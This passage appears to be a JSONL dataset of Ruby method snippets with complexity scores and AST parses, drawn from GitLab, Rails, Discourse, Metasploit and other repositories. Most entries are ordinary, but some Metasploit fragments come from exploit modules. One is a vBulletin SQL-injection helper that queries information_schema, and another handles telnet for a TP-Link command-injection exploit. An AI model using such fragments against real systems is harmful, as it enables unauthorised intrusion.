",\"children\":[\"moved_permanently\"]}]}]}]}]}]}","id":"3d11e7ff-78a3-4f1a-8389-5ee006f7b3e9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/controllers/projects/pipeline_schedules_controller_spec.rb","start_line":242,"raw_source":"def go\n      post :create, params: { namespace_id: project.namespace.to_param, project_id: project, schedule: schedule }\n    end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"go\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"sym\",\"children\":[\"create\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"namespace\"]},\"to_param\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"schedule\"]},{\"type\":\"send\",\"children\":[null,\"schedule\"]}]}]}]}]}]}]}","id":"7e74e7ac-be8e-4658-8618-48f3f26bfebc"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/type/attribute_groups.rb","start_line":155,"raw_source":"def custom_attribute_groups\n    self[:attribute_groups].presence\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"custom_attribute_groups\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]\",{\"type\":\"sym\",\"children\":[\"attribute_groups\"]}]},\"presence\"]}]}","id":"5c45f2af-d2d0-4810-9a57-c1e09f4e1b3e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/db/migrate/20190820003045_update_statuses_index.rb","start_line":11,"raw_source":"def down\n    safety_assured { add_index :statuses, [:account_id, :id, :visibility, :updated_at], order: { id: :desc }, algorithm: :concurrently, name: :index_statuses_20180106 } # rubocop:disable Naming/VariableNumber\n    remove_index :statuses, name: :index_statuses_20190820 # rubocop:disable Naming/VariableNumber\n  end","complexity_score":4.1,"ast_json":"{\"type\":\"def\",\"children\":[\"down\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"account_id\"]},{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"visibility\"]},{\"type\":\"sym\",\"children\":[\"updated_at\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"order\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"desc\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"algorithm\"]},{\"type\":\"sym\",\"children\":[\"concurrently\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_statuses_20180106\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"remove_index\",{\"type\":\"sym\",\"children\":[\"statuses\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"index_statuses_20190820\"]}]}]}]}]}]}","id":"60f0dbce-b369-4cef-ad3d-1d8fb44b3205"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/concerns/api/profile_images_controller.rb","start_line":22,"raw_source":"def organization\n      @organization ||= Organization.select(:id, :profile_image)\n        .find_by(username: params[:username])\n    end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"organization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@organization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Organization\"]},\"select\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"profile_image\"]}]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]}]}]}]}]}","id":"949ec271-1a58-4920-b1db-d62d0d23d88d"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/mbox/support/database.rb","start_line":127,"raw_source":"def fill_users_from_emails\n      @db.execute \"DELETE FROM user\"\n\n      @db.execute <<-SQL\n        INSERT INTO user (email, name, date_of_first_message)\n        SELECT from_email, MIN(from_name) AS from_name, MIN(email_date)\n        FROM email\n        WHERE from_email IS NOT NULL AND email_date IS NOT NULL\n        GROUP BY from_email\n        ORDER BY from_email\n      SQL\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"fill_users_from_emails\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"execute\",{\"type\":\"str\",\"children\":[\"DELETE FROM user\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@db\"]},\"execute\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        INSERT INTO user (email, name, date_of_first_message)\\n\"]},{\"type\":\"str\",\"children\":[\"        SELECT from_email, MIN(from_name) AS from_name, MIN(email_date)\\n\"]},{\"type\":\"str\",\"children\":[\"        FROM email\\n\"]},{\"type\":\"str\",\"children\":[\"        WHERE from_email IS NOT NULL AND email_date IS NOT NULL\\n\"]},{\"type\":\"str\",\"children\":[\"        GROUP BY from_email\\n\"]},{\"type\":\"str\",\"children\":[\"        ORDER BY from_email\\n\"]}]}]}]}]}","id":"73ae1341-cf09-44fc-b087-90a6c1e9b9a2"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/reflection.rb","start_line":1111,"raw_source":"def join_primary_key(klass = self.klass)\n        source_reflection.join_primary_key(klass)\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"join_primary_key\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"klass\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"klass\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_reflection\"]},\"join_primary_key\",{\"type\":\"lvar\",\"children\":[\"klass\"]}]}]}","id":"5049c9c8-788f-43a8-a209-85a85d1c75c7"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/lib/ahoy/model.rb","start_line":3,"raw_source":"def visitable(name = :visit, **options)\n      class_eval do\n        belongs_to(name, class_name: \"Ahoy::Visit\", optional: true, **options)\n        before_create :set_ahoy_visit\n      end\n      class_eval %{\n        def set_ahoy_visit\n          self.#{name} ||= Ahoy.instance.try(:visit_or_create)\n        end\n      }\n    end","complexity_score":14.4,"ast_json":"{\"type\":\"def\",\"children\":[\"visitable\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"name\",{\"type\":\"sym\",\"children\":[\"visit\"]}]},{\"type\":\"kwrestarg\",\"children\":[\"options\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"class_eval\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"belongs_to\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class_name\"]},{\"type\":\"str\",\"children\":[\"Ahoy::Visit\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"before_create\",{\"type\":\"sym\",\"children\":[\"set_ahoy_visit\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"class_eval\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"        def set_ahoy_visit\\n\"]},{\"type\":\"str\",\"children\":[\"          self.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\" ||= Ahoy.instance.try(:visit_or_create)\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]},{\"type\":\"str\",\"children\":[\"      \"]}]}]}]}]}","id":"0ebc89e5-65c3-4745-88fa-818250f16ebd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/gather/vbulletin_getindexablecontent_sqli.rb","start_line":72,"raw_source":"def get_table_prefix(node_id)\n    print_status('Attempting to determine the vBulletin table prefix.')\n    table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', \"column_name='phrasegroup_cppermission'\")\n\n    unless table_name && table_name.split('language').index\n      fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')\n    end\n\n    table_prfx = table_name.split('language')[0]\n    print_good(\"Successfully retrieved table to get prefix from #{table_name}.\")\n\n    table_prfx\n  end","complexity_score":12.7,"ast_json":"{\"type\":\"def\",\"children\":[\"get_table_prefix\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempting to determine the vBulletin table prefix.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"table_name\",{\"type\":\"send\",\"children\":[null,\"do_sqli\",{\"type\":\"lvar\",\"children\":[\"node_id\"]},{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"table_name\"]},{\"type\":\"str\",\"children\":[\"information_schema.columns\"]},{\"type\":\"str\",\"children\":[\"column_name='phrasegroup_cppermission'\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"language\"]}]},\"index\"]}]},null,{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Could not determine the vBulletin table prefix.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"table_prfx\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]},\"split\",{\"type\":\"str\",\"children\":[\"language\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully retrieved table to get prefix from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"lvar\",\"children\":[\"table_prfx\"]}]}]}","id":"1f4e7477-f8b8-4282-b6da-9fcd54f455e0"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":641,"raw_source":"def test_strptime_with_explicit_time_zone_as_hm_offset\n    zone = ActiveSupport::TimeZone[\"Eastern Time (US & Canada)\"]\n    twz = zone.strptime(\"1999-12-31 12:00:00 -08:00\", \"%Y-%m-%d %H:%M:%S %:z\")\n    assert_equal Time.utc(1999, 12, 31, 20), twz\n    assert_equal Time.utc(1999, 12, 31, 15), twz.time\n    assert_equal Time.utc(1999, 12, 31, 20), twz.utc\n    assert_equal zone, twz.time_zone\n  end","complexity_score":19.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_strptime_with_explicit_time_zone_as_hm_offset\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"zone\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Eastern Time (US & Canada)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"twz\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"zone\"]},\"strptime\",{\"type\":\"str\",\"children\":[\"1999-12-31 12:00:00 -08:00\"]},{\"type\":\"str\",\"children\":[\"%Y-%m-%d %H:%M:%S %:z\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"lvar\",\"children\":[\"twz\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[15]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"utc\",{\"type\":\"int\",\"children\":[1999]},{\"type\":\"int\",\"children\":[12]},{\"type\":\"int\",\"children\":[31]},{\"type\":\"int\",\"children\":[20]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"utc\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"zone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"twz\"]},\"time_zone\"]}]}]}]}","id":"e08a6343-4f6e-4c67-86df-c11e615688f6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/tp_link_sc2020n_authenticated_telnet_injection.rb","start_line":173,"raw_source":"def negotiate_telnet(sock)\n    begin\n      Timeout.timeout(banner_timeout) do\n        while (true)\n          data = sock.get_once(-1, telnet_timeout)\n          return nil if not data or data.length == 0\n          if data =~ /#/\n            return true\n          end\n        end\n      end\n    rescue ::Timeout::Error\n      return nil\n    end\n  end","complexity_score":19.0,"ast_json":"{\"type\":\"def\",\"children\":[\"negotiate_telnet\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sock\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Timeout\"]},\"timeout\",{\"type\":\"send\",\"children\":[null,\"banner_timeout\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"while\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"true\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},\"get_once\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"send\",\"children\":[null,\"telnet_timeout\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"#\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Timeout\"]},\"Error\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]}]}]}","id":"c5f4ed01-2331-4303-ae1d-1b4305a2fc70"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/core.rb","start_line":891,"raw_source":"def all_attributes_for_inspect\n        return [] unless @attributes\n\n        attribute_names\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"all_attributes_for_inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@attributes\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"attribute_names\"]}]}]}","id":"f2fd8639-7e83-42a5-a268-ef5f89760a5d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/number_helper/number_to_phone_converter.rb","start_line":31,"raw_source":"def convert_without_area_code(number)\n          default_pattern = /(\\d{0,3})(\\d{3})(\\d{4})$/\n          number.gsub!(regexp_pattern(default_pattern),\n                       \"\\\\1#{delimiter}\\\\2#{delimiter}\\\\3\")\n          number.slice!(0, 1) if start_with_delimiter?(number)\n          number\n        end","complexity_score":9.03,"ast_json":"{\"type\":\"def\",\"children\":[\"convert_without_area_code\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"default_pattern\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"(\\\\d{0,3})(\\\\d{3})(\\\\d{4})$\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"gsub!\",{\"type\":\"send\",\"children\":[null,\"regexp_pattern\",{\"type\":\"lvar\",\"children\":[\"default_pattern\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\1\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delimiter\"]}]},{\"type\":\"str\",\"children\":[\"\\\\2\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delimiter\"]}]},{\"type\":\"str\",\"children\":[\"\\\\3\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"start_with_delimiter?\",{\"type\":\"lvar\",\"children\":[\"number\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number\"]},\"slice!\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"lvar\",\"children\":[\"number\"]}]}]}","id":"6a268d1b-9ca3-47f7-b216-d67764ca732d"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/capture_test.rb","start_line":12,"raw_source":"def test_capture_with_hyphen_in_variable_name\n    template_source = <<~END_TEMPLATE\n      {% capture this-thing %}Print this-thing{% endcapture -%}\n      {{ this-thing -}}\n    END_TEMPLATE\n    assert_template_result(\"Print this-thing\", template_source)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_capture_with_hyphen_in_variable_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"template_source\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"{% capture this-thing %}Print this-thing{% endcapture -%}\\n\"]},{\"type\":\"str\",\"children\":[\"{{ this-thing -}}\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Print this-thing\"]},{\"type\":\"lvar\",\"children\":[\"template_source\"]}]}]}]}","id":"3a2faee1-82f7-4b38-bdd4-b2706fbe4e51"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/users_email_controller.rb","start_line":85,"raw_source":"def confirm_old_email\n    load_change_request(:old)\n\n    updater = EmailUpdater.new\n    if updater.confirm(params[:token]) == :authorizing_new\n      render json: success_json\n    else\n      render json: { error: I18n.t(\"change_email.already_done\") }, status: :bad_request\n    end\n  end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"confirm_old_email\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"load_change_request\",{\"type\":\"sym\",\"children\":[\"old\"]}]},{\"type\":\"lvasgn\",\"children\":[\"updater\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"EmailUpdater\"]},\"new\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"updater\"]},\"confirm\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"token\"]}]}]},\"==\",{\"type\":\"sym\",\"children\":[\"authorizing_new\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[null,\"success_json\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"change_email.already_done\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"bad_request\"]}]}]}]}]}]}]}","id":"2e5ddf26-6842-4c8b-80dd-4f6bb9acc26f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/plugins/nessus.rb","start_line":33,"raw_source":"def msf_local\n        Msf::Config.local_directory.to_s\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"msf_local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Config\"]},\"local_directory\"]},\"to_s\"]}]}","id":"61039522-d22c-4e02-90a0-27cb8647cefe"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/import_export/base/relation_factory.rb","start_line":250,"raw_source":"def attribute_hash_for(attributes)\n          attributes.each_with_object({}) do |hash, value|\n            hash[value] = parsed_relation_hash.delete(value) if parsed_relation_hash[value]\n            hash\n          end\n        end","complexity_score":9.9,"ast_json":"{\"type\":\"def\",\"children\":[\"attribute_hash_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attributes\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attributes\"]},\"each_with_object\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_relation_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parsed_relation_hash\"]},\"delete\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]}","id":"39cada48-b6d8-4e2f-bed0-d57ae1f6f659"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_worker/runner.rb","start_line":504,"raw_source":"def worker_env\n    {\n      \"APP_ROOT\"              => Rails.root.to_s,\n      \"GUID\"                  => @worker.guid,\n      \"WORKER_HEARTBEAT_FILE\" => @worker.heartbeat_file\n    }\n  end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"worker_env\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"APP_ROOT\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"root\"]},\"to_s\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"GUID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"guid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"WORKER_HEARTBEAT_FILE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@worker\"]},\"heartbeat_file\"]}]}]}]}","id":"dc6676b0-92b0-44e0-b136-11e907e32a24"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/bulk_processor.rb","start_line":22,"raw_source":"def send_bulk\n      return self if adapter.empty?\n\n      failed_refs = try_send_bulk\n\n      logger.info(\n        'message' => 'bulk_submitted',\n        'meta.indexing.bulk_count' => adapter.all_refs.size,\n        'meta.indexing.errors_count' => failed_refs.count\n      )\n\n      failures.push(*failed_refs)\n\n      adapter.reset\n\n      self\n    end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_bulk\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adapter\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"self\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"failed_refs\",{\"type\":\"send\",\"children\":[null,\"try_send_bulk\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"bulk_submitted\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"meta.indexing.bulk_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adapter\"]},\"all_refs\"]},\"size\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"meta.indexing.errors_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_refs\"]},\"count\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failures\"]},\"push\",{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"failed_refs\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"adapter\"]},\"reset\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"f57f2a8b-db75-43c6-9c0a-59bc9ec3f54e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/chat/spec/system/page_objects/modals/chat_edit_modal.rb","start_line":18,"raw_source":"def wait_for_auto_generated_slug\n        wait_for_attribute(page.find(SLUG_INPUT_SELECTOR), :placeholder, \"test-channel\")\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_for_auto_generated_slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"wait_for_attribute\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"const\",\"children\":[null,\"SLUG_INPUT_SELECTOR\"]}]},{\"type\":\"sym\",\"children\":[\"placeholder\"]},{\"type\":\"str\",\"children\":[\"test-channel\"]}]}]}","id":"3cf6537a-b90f-4aeb-a88e-cdeea39d50db"}
